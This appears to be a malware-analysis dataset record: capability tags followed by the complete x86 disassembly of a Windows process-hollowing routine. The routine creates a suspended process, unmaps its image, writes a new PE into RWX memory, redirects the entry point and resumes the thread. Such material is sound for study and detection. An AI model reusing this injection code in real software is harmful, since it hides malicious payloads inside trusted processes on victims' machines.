Function at 0x401d40
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
push 0x423898
mov esi, edx
mov ebx, ecx
call fcn.00406723
mov eax, 0x5a4d
add esp, 4
cmp word [esi], ax
jne 0x401f3d
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x401f3d
push 0x44
lea eax, [ebp - 0x70]
push 0
push eax
call fcn.00408f70
xorps xmm0, xmm0
push 0x423898
movdqu xmmword [ebp - 0x24], xmm0
call fcn.00406723
add esp, 0x10
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x423898
call fcn.00406723
add esp, 4
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x70]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401f3d
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x14], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x401f3d
push 0x423898
call fcn.00406723
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x423898
call fcn.00406723
add esp, 4
lea eax, [ebp - 4]
push 0
push 4
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 4]
lea ecx, [edi + 0x34]
cmp eax, dword [ecx]
jne 0x401e72
push str.NtUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 4]
push dword [ebp - 0x24]
call eax
lea ecx, [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [ecx]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x401f3d
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [ebp - 8], 0
cmp ax, word [edi + 6]
jae 0x401f03
mov ebx, dword [ebp - 0x10]
xor ecx, ecx
mov dword [ebp - 0xc], ecx
lea esp, [esp]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, ebx
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
inc edx
movzx eax, word [edi + 6]
add ecx, 0x28
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
cmp edx, eax
jl 0x401ec0
mov ebx, dword [ebp - 0x14]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x10]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x423898
call fcn.00406723
add esp, 4
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x423898
call fcn.00406723
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret